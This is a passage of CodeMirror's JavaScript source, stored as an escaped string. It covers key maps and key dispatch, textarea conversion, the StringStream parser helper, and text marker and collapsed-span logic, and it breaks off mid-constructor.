\"goGroupLeft\", \"Ctrl-Right\": \"goGroupRight\", \"Alt-Left\": \"goLineStart\", \"Alt-Right\": \"goLineEnd\",\n    \"Ctrl-Backspace\": \"delGroupBefore\", \"Ctrl-Delete\": \"delGroupAfter\", \"Ctrl-S\": \"save\", \"Ctrl-F\": \"find\",\n    \"Ctrl-G\": \"findNext\", \"Shift-Ctrl-G\": \"findPrev\", \"Shift-Ctrl-F\": \"replace\", \"Shift-Ctrl-R\": \"replaceAll\",\n    \"Ctrl-[\": \"indentLess\", \"Ctrl-]\": \"indentMore\",\n    \"Ctrl-U\": \"undoSelection\", \"Shift-Ctrl-U\": \"redoSelection\", \"Alt-U\": \"redoSelection\",\n    fallthrough: \"basic\"\n  };\n  keyMap.macDefault = {\n    \"Cmd-A\": \"selectAll\", \"Cmd-D\": \"deleteLine\", \"Cmd-Z\": \"undo\", \"Shift-Cmd-Z\": \"redo\", \"Cmd-Y\": \"redo\",\n    \"Cmd-Home\": \"goDocStart\", \"Cmd-Up\": \"goDocStart\", \"Cmd-End\": \"goDocEnd\", \"Cmd-Down\": \"goDocEnd\", \"Alt-Left\": \"goGroupLeft\",\n    \"Alt-Right\": \"goGroupRight\", \"Cmd-Left\": \"goLineLeft\", \"Cmd-Right\": \"goLineRight\", \"Alt-Backspace\": \"delGroupBefore\",\n    \"Ctrl-Alt-Backspace\": \"delGroupAfter\", \"Alt-Delete\": \"delGroupAfter\", \"Cmd-S\": \"save\", \"Cmd-F\": \"find\",\n    \"Cmd-G\": \"findNext\", \"Shift-Cmd-G\": \"findPrev\", \"Cmd-Alt-F\": \"replace\", \"Shift-Cmd-Alt-F\": \"replaceAll\",\n    \"Cmd-[\": \"indentLess\", \"Cmd-]\": \"indentMore\", \"Cmd-Backspace\": \"delWrappedLineLeft\", \"Cmd-Delete\": \"delWrappedLineRight\",\n    \"Cmd-U\": \"undoSelection\", \"Shift-Cmd-U\": \"redoSelection\",\n    fallthrough: [\"basic\", \"emacsy\"]\n  };\n  // Very basic readline/emacs-style bindings, which are standard on Mac.\n  keyMap.emacsy = {\n    \"Ctrl-F\": \"goCharRight\", \"Ctrl-B\": \"goCharLeft\", \"Ctrl-P\": \"goLineUp\", \"Ctrl-N\": \"goLineDown\",\n    \"Alt-F\": \"goWordRight\", \"Alt-B\": \"goWordLeft\", \"Ctrl-A\": \"goLineStart\", \"Ctrl-E\": \"goLineEnd\",\n    \"Ctrl-V\": \"goPageDown\", \"Shift-Ctrl-V\": \"goPageUp\", \"Ctrl-D\": \"delCharAfter\", \"Ctrl-H\": \"delCharBefore\",\n    \"Alt-D\": \"delWordAfter\", \"Alt-Backspace\": \"delWordBefore\", \"Ctrl-K\": \"killLine\", \"Ctrl-T\": \"transposeChars\"\n  };\n  keyMap[\"default\"] = mac ? keyMap.macDefault : keyMap.pcDefault;\n\n  // KEYMAP DISPATCH\n\n  function getKeyMap(val) {\n    if (typeof val == \"string\") return keyMap[val];\n    else return val;\n  }\n\n  // Given an array of keymaps and a key name, call handle on any\n  // bindings found, until that returns a truthy value, at which point\n  // we consider the key handled. Implements things like binding a key\n  // to false stopping further handling and keymap fallthrough.\n  var lookupKey = CodeMirror.lookupKey = function(name, maps, handle) {\n    function lookup(map) {\n      map = getKeyMap(map);\n      var found = map[name];\n      if (found === false) return \"stop\";\n      if (found != null && handle(found)) return true;\n      if (map.nofallthrough) return \"stop\";\n\n      var fallthrough = map.fallthrough;\n      if (fallthrough == null) return false;\n      if (Object.prototype.toString.call(fallthrough) != \"[object Array]\")\n        return lookup(fallthrough);\n      for (var i = 0; i < fallthrough.length; ++i) {\n        var done = lookup(fallthrough[i]);\n        if (done) return done;\n      }\n      return false;\n    }\n\n    for (var i = 0; i < maps.length; ++i) {\n      var done = lookup(maps[i]);\n      if (done) return done != \"stop\";\n    }\n  };\n\n  // Modifier key presses don't count as 'real' key presses for the\n  // purpose of keymap fallthrough.\n  var isModifierKey = CodeMirror.isModifierKey = function(event) {\n    var name = keyNames[event.keyCode];\n    return name == \"Ctrl\" || name == \"Alt\" || name == \"Shift\" || name == \"Mod\";\n  };\n\n  // Look up the name of a key as indicated by an event object.\n  var keyName = CodeMirror.keyName = function(event, noShift) {\n    if (presto && event.keyCode == 34 && event[\"char\"]) return false;\n    var name = keyNames[event.keyCode];\n    if (name == null || event.altGraphKey) return false;\n    if (event.altKey) name = \"Alt-\" + name;\n    if (flipCtrlCmd ? event.metaKey : event.ctrlKey) name = \"Ctrl-\" + name;\n    if (flipCtrlCmd ? event.ctrlKey : event.metaKey) name = \"Cmd-\" + name;\n    if (!noShift && event.shiftKey) name = \"Shift-\" + name;\n    return name;\n  };\n\n  // FROMTEXTAREA\n\n  CodeMirror.fromTextArea = function(textarea, options) {\n    if (!options) options = {};\n    options.value = textarea.value;\n    if (!options.tabindex && textarea.tabindex)\n      options.tabindex = textarea.tabindex;\n    if (!options.placeholder && textarea.placeholder)\n      options.placeholder = textarea.placeholder;\n    // Set autofocus to true if this textarea is focused, or if it has\n    // autofocus and no other element is focused.\n    if (options.autofocus == null) {\n      var hasFocus = activeElt();\n      options.autofocus = hasFocus == textarea ||\n        textarea.getAttribute(\"autofocus\") != null && hasFocus == document.body;\n    }\n\n    function save() {textarea.value = cm.getValue();}\n    if (textarea.form) {\n      on(textarea.form, \"submit\", save);\n      // Deplorable hack to make the submit method do the right thing.\n      if (!options.leaveSubmitMethodAlone) {\n        var form = textarea.form, realSubmit = form.submit;\n        try {\n          var wrappedSubmit = form.submit = function() {\n            save();\n            form.submit = realSubmit;\n            form.submit();\n            form.submit = wrappedSubmit;\n          };\n        } catch(e) {}\n      }\n    }\n\n    textarea.style.display = \"none\";\n    var cm = CodeMirror(function(node) {\n      textarea.parentNode.insertBefore(node, textarea.nextSibling);\n    }, options);\n    cm.save = save;\n    cm.getTextArea = function() { return textarea; };\n    cm.toTextArea = function() {\n      save();\n      textarea.parentNode.removeChild(cm.getWrapperElement());\n      textarea.style.display = \"\";\n      if (textarea.form) {\n        off(textarea.form, \"submit\", save);\n        if (typeof textarea.form.submit == \"function\")\n          textarea.form.submit = realSubmit;\n      }\n    };\n    return cm;\n  };\n\n  // STRING STREAM\n\n  // Fed to the mode parsers, provides helper functions to make\n  // parsers more succinct.\n\n  var StringStream = CodeMirror.StringStream = function(string, tabSize) {\n    this.pos = this.start = 0;\n    this.string = string;\n    this.tabSize = tabSize || 8;\n    this.lastColumnPos = this.lastColumnValue = 0;\n    this.lineStart = 0;\n  };\n\n  StringStream.prototype = {\n    eol: function() {return this.pos >= this.string.length;},\n    sol: function() {return this.pos == this.lineStart;},\n    peek: function() {return this.string.charAt(this.pos) || undefined;},\n    next: function() {\n      if (this.pos < this.string.length)\n        return this.string.charAt(this.pos++);\n    },\n    eat: function(match) {\n      var ch = this.string.charAt(this.pos);\n      if (typeof match == \"string\") var ok = ch == match;\n      else var ok = ch && (match.test ? match.test(ch) : match(ch));\n      if (ok) {++this.pos; return ch;}\n    },\n    eatWhile: function(match) {\n      var start = this.pos;\n      while (this.eat(match)){}\n      return this.pos > start;\n    },\n    eatSpace: function() {\n      var start = this.pos;\n      while (/[\\s\\u00a0]/.test(this.string.charAt(this.pos))) ++this.pos;\n      return this.pos > start;\n    },\n    skipToEnd: function() {this.pos = this.string.length;},\n    skipTo: function(ch) {\n      var found = this.string.indexOf(ch, this.pos);\n      if (found > -1) {this.pos = found; return true;}\n    },\n    backUp: function(n) {this.pos -= n;},\n    column: function() {\n      if (this.lastColumnPos < this.start) {\n        this.lastColumnValue = countColumn(this.string, this.start, this.tabSize, this.lastColumnPos, this.lastColumnValue);\n        this.lastColumnPos = this.start;\n      }\n      return this.lastColumnValue - (this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0);\n    },\n    indentation: function() {\n      return countColumn(this.string, null, this.tabSize) -\n        (this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0);\n    },\n    match: function(pattern, consume, caseInsensitive) {\n      if (typeof pattern == \"string\") {\n        var cased = function(str) {return caseInsensitive ? str.toLowerCase() : str;};\n        var substr = this.string.substr(this.pos, pattern.length);\n        if (cased(substr) == cased(pattern)) {\n          if (consume !== false) this.pos += pattern.length;\n          return true;\n        }\n      } else {\n        var match = this.string.slice(this.pos).match(pattern);\n        if (match && match.index > 0) return null;\n        if (match && consume !== false) this.pos += match[0].length;\n        return match;\n      }\n    },\n    current: function(){return this.string.slice(this.start, this.pos);},\n    hideFirstChars: function(n, inner) {\n      this.lineStart += n;\n      try { return inner(); }\n      finally { this.lineStart -= n; }\n    }\n  };\n\n  // TEXTMARKERS\n\n  // Created with markText and setBookmark methods. A TextMarker is a\n  // handle that can be used to clear or find a marked position in the\n  // document. Line objects hold arrays (markedSpans) containing\n  // {from, to, marker} object pointing to such marker objects, and\n  // indicating that such a marker is present on that line. Multiple\n  // lines may point to the same marker when it spans across lines.\n  // The spans will have null for their from/to properties when the\n  // marker continues beyond the start/end of the line. Markers have\n  // links back to the lines they currently touch.\n\n  var TextMarker = CodeMirror.TextMarker = function(doc, type) {\n    this.lines = [];\n    this.type = type;\n    this.doc = doc;\n  };\n  eventMixin(TextMarker);\n\n  // Clear the marker.\n  TextMarker.prototype.clear = function() {\n    if (this.explicitlyCleared) return;\n    var cm = this.doc.cm, withOp = cm && !cm.curOp;\n    if (withOp) startOperation(cm);\n    if (hasHandler(this, \"clear\")) {\n      var found = this.find();\n      if (found) signalLater(this, \"clear\", found.from, found.to);\n    }\n    var min = null, max = null;\n    for (var i = 0; i < this.lines.length; ++i) {\n      var line = this.lines[i];\n      var span = getMarkedSpanFor(line.markedSpans, this);\n      if (cm && !this.collapsed) regLineChange(cm, lineNo(line), \"text\");\n      else if (cm) {\n        if (span.to != null) max = lineNo(line);\n        if (span.from != null) min = lineNo(line);\n      }\n      line.markedSpans = removeMarkedSpan(line.markedSpans, span);\n      if (span.from == null && this.collapsed && !lineIsHidden(this.doc, line) && cm)\n        updateLineHeight(line, textHeight(cm.display));\n    }\n    if (cm && this.collapsed && !cm.options.lineWrapping) for (var i = 0; i < this.lines.length; ++i) {\n      var visual = visualLine(this.lines[i]), len = lineLength(visual);\n      if (len > cm.display.maxLineLength) {\n        cm.display.maxLine = visual;\n        cm.display.maxLineLength = len;\n        cm.display.maxLineChanged = true;\n      }\n    }\n\n    if (min != null && cm && this.collapsed) regChange(cm, min, max + 1);\n    this.lines.length = 0;\n    this.explicitlyCleared = true;\n    if (this.atomic && this.doc.cantEdit) {\n      this.doc.cantEdit = false;\n      if (cm) reCheckSelection(cm.doc);\n    }\n    if (cm) signalLater(cm, \"markerCleared\", cm, this);\n    if (withOp) endOperation(cm);\n    if (this.parent) this.parent.clear();\n  };\n\n  // Find the position of the marker in the document. Returns a {from,\n  // to} object by default. Side can be passed to get a specific side\n  // -- 0 (both), -1 (left), or 1 (right). When lineObj is true, the\n  // Pos objects returned contain a line object, rather than a line\n  // number (used to prevent looking up the same line twice).\n  TextMarker.prototype.find = function(side, lineObj) {\n    if (side == null && this.type == \"bookmark\") side = 1;\n    var from, to;\n    for (var i = 0; i < this.lines.length; ++i) {\n      var line = this.lines[i];\n      var span = getMarkedSpanFor(line.markedSpans, this);\n      if (span.from != null) {\n        from = Pos(lineObj ? line : lineNo(line), span.from);\n        if (side == -1) return from;\n      }\n      if (span.to != null) {\n        to = Pos(lineObj ? line : lineNo(line), span.to);\n        if (side == 1) return to;\n      }\n    }\n    return from && {from: from, to: to};\n  };\n\n  // Signals that the marker's widget changed, and surrounding layout\n  // should be recomputed.\n  TextMarker.prototype.changed = function() {\n    var pos = this.find(-1, true), widget = this, cm = this.doc.cm;\n    if (!pos || !cm) return;\n    runInOp(cm, function() {\n      var line = pos.line, lineN = lineNo(pos.line);\n      var view = findViewForLine(cm, lineN);\n      if (view) {\n        clearLineMeasurementCacheFor(view);\n        cm.curOp.selectionChanged = cm.curOp.forceUpdate = true;\n      }\n      cm.curOp.updateMaxLine = true;\n      if (!lineIsHidden(widget.doc, line) && widget.height != null) {\n        var oldHeight = widget.height;\n        widget.height = null;\n        var dHeight = widgetHeight(widget) - oldHeight;\n        if (dHeight)\n          updateLineHeight(line, line.height + dHeight);\n      }\n    });\n  };\n\n  TextMarker.prototype.attachLine = function(line) {\n    if (!this.lines.length && this.doc.cm) {\n      var op = this.doc.cm.curOp;\n      if (!op.maybeHiddenMarkers || indexOf(op.maybeHiddenMarkers, this) == -1)\n        (op.maybeUnhiddenMarkers || (op.maybeUnhiddenMarkers = [])).push(this);\n    }\n    this.lines.push(line);\n  };\n  TextMarker.prototype.detachLine = function(line) {\n    this.lines.splice(indexOf(this.lines, line), 1);\n    if (!this.lines.length && this.doc.cm) {\n      var op = this.doc.cm.curOp;\n      (op.maybeHiddenMarkers || (op.maybeHiddenMarkers = [])).push(this);\n    }\n  };\n\n  // Collapsed markers have unique ids, in order to be able to order\n  // them, which is needed for uniquely determining an outer marker\n  // when they overlap (they may nest, but not partially overlap).\n  var nextMarkerId = 0;\n\n  // Create a marker, wire it up to the right lines, and\n  function markText(doc, from, to, options, type) {\n    // Shared markers (across linked documents) are handled separately\n    // (markTextShared will call out to this again, once per\n    // document).\n    if (options && options.shared) return markTextShared(doc, from, to, options, type);\n    // Ensure we are in an operation.\n    if (doc.cm && !doc.cm.curOp) return operation(doc.cm, markText)(doc, from, to, options, type);\n\n    var marker = new TextMarker(doc, type), diff = cmp(from, to);\n    if (options) copyObj(options, marker, false);\n    // Don't connect empty markers unless clearWhenEmpty is false\n    if (diff > 0 || diff == 0 && marker.clearWhenEmpty !== false)\n      return marker;\n    if (marker.replacedWith) {\n      // Showing up as a widget implies collapsed (widget replaces text)\n      marker.collapsed = true;\n      marker.widgetNode = elt(\"span\", [marker.replacedWith], \"CodeMirror-widget\");\n      if (!options.handleMouseEvents) marker.widgetNode.ignoreEvents = true;\n      if (options.insertLeft) marker.widgetNode.insertLeft = true;\n    }\n    if (marker.collapsed) {\n      if (conflictingCollapsedRange(doc, from.line, from, to, marker) ||\n          from.line != to.line && conflictingCollapsedRange(doc, to.line, from, to, marker))\n        throw new Error(\"Inserting collapsed marker partially overlapping an existing one\");\n      sawCollapsedSpans = true;\n    }\n\n    if (marker.addToHistory)\n      addChangeToHistory(doc, {from: from, to: to, origin: \"markText\"}, doc.sel, NaN);\n\n    var curLine = from.line, cm = doc.cm, updateMaxLine;\n    doc.iter(curLine, to.line + 1, function(line) {\n      if (cm && marker.collapsed && !cm.options.lineWrapping && visualLine(line) == cm.display.maxLine)\n        updateMaxLine = true;\n      if (marker.collapsed && curLine != from.line) updateLineHeight(line, 0);\n      addMarkedSpan(line, new MarkedSpan(marker,\n                                         curLine == from.line ? from.ch : null,\n                                         curLine == to.line ? to.ch : null));\n      ++curLine;\n    });\n    // lineIsHidden depends on the presence of the spans, so needs a second pass\n    if (marker.collapsed) doc.iter(from.line, to.line + 1, function(line) {\n      if (lineIsHidden(doc, line)) updateLineHeight(line, 0);\n    });\n\n    if (marker.clearOnEnter) on(marker, \"beforeCursorEnter\", function() { marker.clear(); });\n\n    if (marker.readOnly) {\n      sawReadOnlySpans = true;\n      if (doc.history.done.length || doc.history.undone.length)\n        doc.clearHistory();\n    }\n    if (marker.collapsed) {\n      marker.id = ++nextMarkerId;\n      marker.atomic = true;\n    }\n    if (cm) {\n      // Sync editor state\n      if (updateMaxLine) cm.curOp.updateMaxLine = true;\n      if (marker.collapsed)\n        regChange(cm, from.line, to.line + 1);\n      else if (marker.className || marker.title || marker.startStyle || marker.endStyle)\n        for (var i = from.line; i <= to.line; i++) regLineChange(cm, i, \"text\");\n      if (marker.atomic) reCheckSelection(cm.doc);\n      signalLater(cm, \"markerAdded\", cm, marker);\n    }\n    return marker;\n  }\n\n  // SHARED TEXTMARKERS\n\n  // A shared marker spans multiple linked documents. It is\n  // implemented as a meta-marker-object controlling multiple normal\n  // markers.\n  var SharedTextMarker = CodeMirror.SharedTextMarker = function(markers, primary) {\n    this.markers = markers;\n    this.primary = primary;\n    for (var i = 0; i < markers.length; ++i)\n      markers[i].parent = this;\n  };\n  eventMixin(SharedTextMarker);\n\n  SharedTextMarker.prototype.clear = function() {\n    if (this.explicitlyCleared) return;\n    this.explicitlyCleared = true;\n    for (var i = 0; i < this.markers.length; ++i)\n      this.markers[i].clear();\n    signalLater(this, \"clear\");\n  };\n  SharedTextMarker.prototype.find = function(side, lineObj) {\n    return this.primary.find(side, lineObj);\n  };\n\n  function markTextShared(doc, from, to, options, type) {\n    options = copyObj(options);\n    options.shared = false;\n    var markers = [markText(doc, from, to, options, type)], primary = markers[0];\n    var widget = options.widgetNode;\n    linkedDocs(doc, function(doc) {\n      if (widget) options.widgetNode = widget.cloneNode(true);\n      markers.push(markText(doc, clipPos(doc, from), clipPos(doc, to), options, type));\n      for (var i = 0; i < doc.linked.length; ++i)\n        if (doc.linked[i].isParent) return;\n      primary = lst(markers);\n    });\n    return new SharedTextMarker(markers, primary);\n  }\n\n  function findSharedMarkers(doc) {\n    return doc.findMarks(Pos(doc.first, 0), doc.clipPos(Pos(doc.lastLine())),\n                         function(m) { return m.parent; });\n  }\n\n  function copySharedMarkers(doc, markers) {\n    for (var i = 0; i < markers.length; i++) {\n      var marker = markers[i], pos = marker.find();\n      var mFrom = doc.clipPos(pos.from), mTo = doc.clipPos(pos.to);\n      if (cmp(mFrom, mTo)) {\n        var subMark = markText(doc, mFrom, mTo, marker.primary, marker.primary.type);\n        marker.markers.push(subMark);\n        subMark.parent = marker;\n      }\n    }\n  }\n\n  function detachSharedMarkers(markers) {\n    for (var i = 0; i < markers.length; i++) {\n      var marker = markers[i], linked = [marker.primary.doc];;\n      linkedDocs(marker.primary.doc, function(d) { linked.push(d); });\n      for (var j = 0; j < marker.markers.length; j++) {\n        var subMarker = marker.markers[j];\n        if (indexOf(linked, subMarker.doc) == -1) {\n          subMarker.parent = null;\n          marker.markers.splice(j--, 1);\n        }\n      }\n    }\n  }\n\n  // TEXTMARKER SPANS\n\n  function MarkedSpan(marker, from, to) {\n    this.marker = marker;\n    this.from = from; this.to = to;\n  }\n\n  // Search an array of spans for a span matching the given marker.\n  function getMarkedSpanFor(spans, marker) {\n    if (spans) for (var i = 0; i < spans.length; ++i) {\n      var span = spans[i];\n      if (span.marker == marker) return span;\n    }\n  }\n  // Remove a span from an array, returning undefined if no spans are\n  // left (we don't store arrays for lines without spans).\n  function removeMarkedSpan(spans, span) {\n    for (var r, i = 0; i < spans.length; ++i)\n      if (spans[i] != span) (r || (r = [])).push(spans[i]);\n    return r;\n  }\n  // Add a span to a line.\n  function addMarkedSpan(line, span) {\n    line.markedSpans = line.markedSpans ? line.markedSpans.concat([span]) : [span];\n    span.marker.attachLine(line);\n  }\n\n  // Used for the algorithm that adjusts markers for a change in the\n  // document. These functions cut an array of spans at a given\n  // character position, returning an array of remaining chunks (or\n  // undefined if nothing remains).\n  function markedSpansBefore(old, startCh, isInsert) {\n    if (old) for (var i = 0, nw; i < old.length; ++i) {\n      var span = old[i], marker = span.marker;\n      var startsBefore = span.from == null || (marker.inclusiveLeft ? span.from <= startCh : span.from < startCh);\n      if (startsBefore || span.from == startCh && marker.type == \"bookmark\" && (!isInsert || !span.marker.insertLeft)) {\n        var endsAfter = span.to == null || (marker.inclusiveRight ? span.to >= startCh : span.to > startCh);\n        (nw || (nw = [])).push(new MarkedSpan(marker, span.from, endsAfter ? null : span.to));\n      }\n    }\n    return nw;\n  }\n  function markedSpansAfter(old, endCh, isInsert) {\n    if (old) for (var i = 0, nw; i < old.length; ++i) {\n      var span = old[i], marker = span.marker;\n      var endsAfter = span.to == null || (marker.inclusiveRight ? span.to >= endCh : span.to > endCh);\n      if (endsAfter || span.from == endCh && marker.type == \"bookmark\" && (!isInsert || span.marker.insertLeft)) {\n        var startsBefore = span.from == null || (marker.inclusiveLeft ? span.from <= endCh : span.from < endCh);\n        (nw || (nw = [])).push(new MarkedSpan(marker, startsBefore ? null : span.from - endCh,\n                                              span.to == null ? null : span.to - endCh));\n      }\n    }\n    return nw;\n  }\n\n  // Given a change object, compute the new set of marker spans that\n  // cover the line in which the change took place. Removes spans\n  // entirely within the change, reconnects spans belonging to the\n  // same marker that appear on both sides of the change, and cuts off\n  // spans partially within the change. Returns an array of span\n  // arrays with one element for each line in (after) the change.\n  function stretchSpansOverChange(doc, change) {\n    var oldFirst = isLine(doc, change.from.line) && getLine(doc, change.from.line).markedSpans;\n    var oldLast = isLine(doc, change.to.line) && getLine(doc, change.to.line).markedSpans;\n    if (!oldFirst && !oldLast) return null;\n\n    var startCh = change.from.ch, endCh = change.to.ch, isInsert = cmp(change.from, change.to) == 0;\n    // Get the spans that 'stick out' on both sides\n    var first = markedSpansBefore(oldFirst, startCh, isInsert);\n    var last = markedSpansAfter(oldLast, endCh, isInsert);\n\n    // Next, merge those two ends\n    var sameLine = change.text.length == 1, offset = lst(change.text).length + (sameLine ? startCh : 0);\n    if (first) {\n      // Fix up .to properties of first\n      for (var i = 0; i < first.length; ++i) {\n        var span = first[i];\n        if (span.to == null) {\n          var found = getMarkedSpanFor(last, span.marker);\n          if (!found) span.to = startCh;\n          else if (sameLine) span.to = found.to == null ? null : found.to + offset;\n        }\n      }\n    }\n    if (last) {\n      // Fix up .from in last (or move them into first in case of sameLine)\n      for (var i = 0; i < last.length; ++i) {\n        var span = last[i];\n        if (span.to != null) span.to += offset;\n        if (span.from == null) {\n          var found = getMarkedSpanFor(first, span.marker);\n          if (!found) {\n            span.from = offset;\n            if (sameLine) (first || (first = [])).push(span);\n          }\n        } else {\n          span.from += offset;\n          if (sameLine) (first || (first = [])).push(span);\n        }\n      }\n    }\n    // Make sure we didn't create any zero-length spans\n    if (first) first = clearEmptySpans(first);\n    if (last && last != first) last = clearEmptySpans(last);\n\n    var newMarkers = [first];\n    if (!sameLine) {\n      // Fill gap with whole-line-spans\n      var gap = change.text.length - 2, gapMarkers;\n      if (gap > 0 && first)\n        for (var i = 0; i < first.length; ++i)\n          if (first[i].to == null)\n            (gapMarkers || (gapMarkers = [])).push(new MarkedSpan(first[i].marker, null, null));\n      for (var i = 0; i < gap; ++i)\n        newMarkers.push(gapMarkers);\n      newMarkers.push(last);\n    }\n    return newMarkers;\n  }\n\n  // Remove spans that are empty and don't have a clearWhenEmpty\n  // option of false.\n  function clearEmptySpans(spans) {\n    for (var i = 0; i < spans.length; ++i) {\n      var span = spans[i];\n      if (span.from != null && span.from == span.to && span.marker.clearWhenEmpty !== false)\n        spans.splice(i--, 1);\n    }\n    if (!spans.length) return null;\n    return spans;\n  }\n\n  // Used for un/re-doing changes from the history. Combines the\n  // result of computing the existing spans with the set of spans that\n  // existed in the history (so that deleting around a span and then\n  // undoing brings back the span).\n  function mergeOldSpans(doc, change) {\n    var old = getOldSpans(doc, change);\n    var stretched = stretchSpansOverChange(doc, change);\n    if (!old) return stretched;\n    if (!stretched) return old;\n\n    for (var i = 0; i < old.length; ++i) {\n      var oldCur = old[i], stretchCur = stretched[i];\n      if (oldCur && stretchCur) {\n        spans: for (var j = 0; j < stretchCur.length; ++j) {\n          var span = stretchCur[j];\n          for (var k = 0; k < oldCur.length; ++k)\n            if (oldCur[k].marker == span.marker) continue spans;\n          oldCur.push(span);\n        }\n      } else if (stretchCur) {\n        old[i] = stretchCur;\n      }\n    }\n    return old;\n  }\n\n  // Used to 'clip' out readOnly ranges when making a change.\n  function removeReadOnlyRanges(doc, from, to) {\n    var markers = null;\n    doc.iter(from.line, to.line + 1, function(line) {\n      if (line.markedSpans) for (var i = 0; i < line.markedSpans.length; ++i) {\n        var mark = line.markedSpans[i].marker;\n        if (mark.readOnly && (!markers || indexOf(markers, mark) == -1))\n          (markers || (markers = [])).push(mark);\n      }\n    });\n    if (!markers) return null;\n    var parts = [{from: from, to: to}];\n    for (var i = 0; i < markers.length; ++i) {\n      var mk = markers[i], m = mk.find(0);\n      for (var j = 0; j < parts.length; ++j) {\n        var p = parts[j];\n        if (cmp(p.to, m.from) < 0 || cmp(p.from, m.to) > 0) continue;\n        var newParts = [j, 1], dfrom = cmp(p.from, m.from), dto = cmp(p.to, m.to);\n        if (dfrom < 0 || !mk.inclusiveLeft && !dfrom)\n          newParts.push({from: p.from, to: m.from});\n        if (dto > 0 || !mk.inclusiveRight && !dto)\n          newParts.push({from: m.to, to: p.to});\n        parts.splice.apply(parts, newParts);\n        j += newParts.length - 1;\n      }\n    }\n    return parts;\n  }\n\n  // Connect or disconnect spans from a line.\n  function detachMarkedSpans(line) {\n    var spans = line.markedSpans;\n    if (!spans) return;\n    for (var i = 0; i < spans.length; ++i)\n      spans[i].marker.detachLine(line);\n    line.markedSpans = null;\n  }\n  function attachMarkedSpans(line, spans) {\n    if (!spans) return;\n    for (var i = 0; i < spans.length; ++i)\n      spans[i].marker.attachLine(line);\n    line.markedSpans = spans;\n  }\n\n  // Helpers used when computing which overlapping collapsed span\n  // counts as the larger one.\n  function extraLeft(marker) { return marker.inclusiveLeft ? -1 : 0; }\n  function extraRight(marker) { return marker.inclusiveRight ? 1 : 0; }\n\n  // Returns a number indicating which of two overlapping collapsed\n  // spans is larger (and thus includes the other). Falls back to\n  // comparing ids when the spans cover exactly the same range.\n  function compareCollapsedMarkers(a, b) {\n    var lenDiff = a.lines.length - b.lines.length;\n    if (lenDiff != 0) return lenDiff;\n    var aPos = a.find(), bPos = b.find();\n    var fromCmp = cmp(aPos.from, bPos.from) || extraLeft(a) - extraLeft(b);\n    if (fromCmp) return -fromCmp;\n    var toCmp = cmp(aPos.to, bPos.to) || extraRight(a) - extraRight(b);\n    if (toCmp) return toCmp;\n    return b.id - a.id;\n  }\n\n  // Find out whether a line ends or starts in a collapsed span. If\n  // so, return the marker for that span.\n  function collapsedSpanAtSide(line, start) {\n    var sps = sawCollapsedSpans && line.markedSpans, found;\n    if (sps) for (var sp, i = 0; i < sps.length; ++i) {\n      sp = sps[i];\n      if (sp.marker.collapsed && (start ? sp.from : sp.to) == null &&\n          (!found || compareCollapsedMarkers(found, sp.marker) < 0))\n        found = sp.marker;\n    }\n    return found;\n  }\n  function collapsedSpanAtStart(line) { return collapsedSpanAtSide(line, true); }\n  function collapsedSpanAtEnd(line) { return collapsedSpanAtSide(line, false); }\n\n  // Test whether there exists a collapsed span that partially\n  // overlaps (covers the start or end, but not both) of a new span.\n  // Such overlap is not allowed.\n  function conflictingCollapsedRange(doc, lineNo, from, to, marker) {\n    var line = getLine(doc, lineNo);\n    var sps = sawCollapsedSpans && line.markedSpans;\n    if (sps) for (var i = 0; i < sps.length; ++i) {\n      var sp = sps[i];\n      if (!sp.marker.collapsed) continue;\n      var found = sp.marker.find(0);\n      var fromCmp = cmp(found.from, from) || extraLeft(sp.marker) - extraLeft(marker);\n      var toCmp = cmp(found.to, to) || extraRight(sp.marker) - extraRight(marker);\n      if (fromCmp >= 0 && toCmp <= 0 || fromCmp <= 0 && toCmp >= 0) continue;\n      if (fromCmp <= 0 && (cmp(found.to, from) > 0 || (sp.marker.inclusiveRight && marker.inclusiveLeft)) ||\n          fromCmp >= 0 && (cmp(found.from, to) < 0 || (sp.marker.inclusiveLeft && marker.inclusiveRight)))\n        return true;\n    }\n  }\n\n  // A visual line is a line as drawn on the screen. Folding, for\n  // example, can cause multiple logical lines to appear on the same\n  // visual line. This finds the start of the visual line that the\n  // given line is part of (usually that is the line itself).\n  function visualLine(line) {\n    var merged;\n    while (merged = collapsedSpanAtStart(line))\n      line = merged.find(-1, true).line;\n    return line;\n  }\n\n  // Returns an array of logical lines that continue the visual line\n  // started by the argument, or undefined if there are no such lines.\n  function visualLineContinued(line) {\n    var merged, lines;\n    while (merged = collapsedSpanAtEnd(line)) {\n      line = merged.find(1, true).line;\n      (lines || (lines = [])).push(line);\n    }\n    return lines;\n  }\n\n  // Get the line number of the start of the visual line that the\n  // given line number is part of.\n  function visualLineNo(doc, lineN) {\n    var line = getLine(doc, lineN), vis = visualLine(line);\n    if (line == vis) return lineN;\n    return lineNo(vis);\n  }\n  // Get the line number of the start of the next visual line after\n  // the given line.\n  function visualLineEndNo(doc, lineN) {\n    if (lineN > doc.lastLine()) return lineN;\n    var line = getLine(doc, lineN), merged;\n    if (!lineIsHidden(doc, line)) return lineN;\n    while (merged = collapsedSpanAtEnd(line))\n      line = merged.find(1, true).line;\n    return lineNo(line) + 1;\n  }\n\n  // Compute whether a line is hidden. Lines count as hidden when they\n  // are part of a visual line that starts with another line, or when\n  // they are entirely covered by collapsed, non-widget span.\n  function lineIsHidden(doc, line) {\n    var sps = sawCollapsedSpans && line.markedSpans;\n    if (sps) for (var sp, i = 0; i < sps.length; ++i) {\n      sp = sps[i];\n      if (!sp.marker.collapsed) continue;\n      if (sp.from == null) return true;\n      if (sp.marker.widgetNode) continue;\n      if (sp.from == 0 && sp.marker.inclusiveLeft && lineIsHiddenInner(doc, line, sp))\n        return true;\n    }\n  }\n  function lineIsHiddenInner(doc, line, span) {\n    if (span.to == null) {\n      var end = span.marker.find(1, true);\n      return lineIsHiddenInner(doc, end.line, getMarkedSpanFor(end.line.markedSpans, span.marker));\n    }\n    if (span.marker.inclusiveRight && span.to == line.text.length)\n      return true;\n    for (var sp, i = 0; i < line.markedSpans.length; ++i) {\n      sp = line.markedSpans[i];\n      if (sp.marker.collapsed && !sp.marker.widgetNode && sp.from == span.to &&\n          (sp.to == null || sp.to != span.from) &&\n          (sp.marker.inclusiveLeft || span.marker.inclusiveRight) &&\n          lineIsHiddenInner(doc, line, sp)) return true;\n    }\n  }\n\n  // LINE WIDGETS\n\n  // Line widgets are block elements displayed above or below a line.\n\n  var LineWidget = CodeMirror.LineWidget = function(cm, node, options) {\n    if (options) for (var opt in options) if (options.hasOwnProperty(opt))\n      this[opt] = options[opt];\n    this.cm = 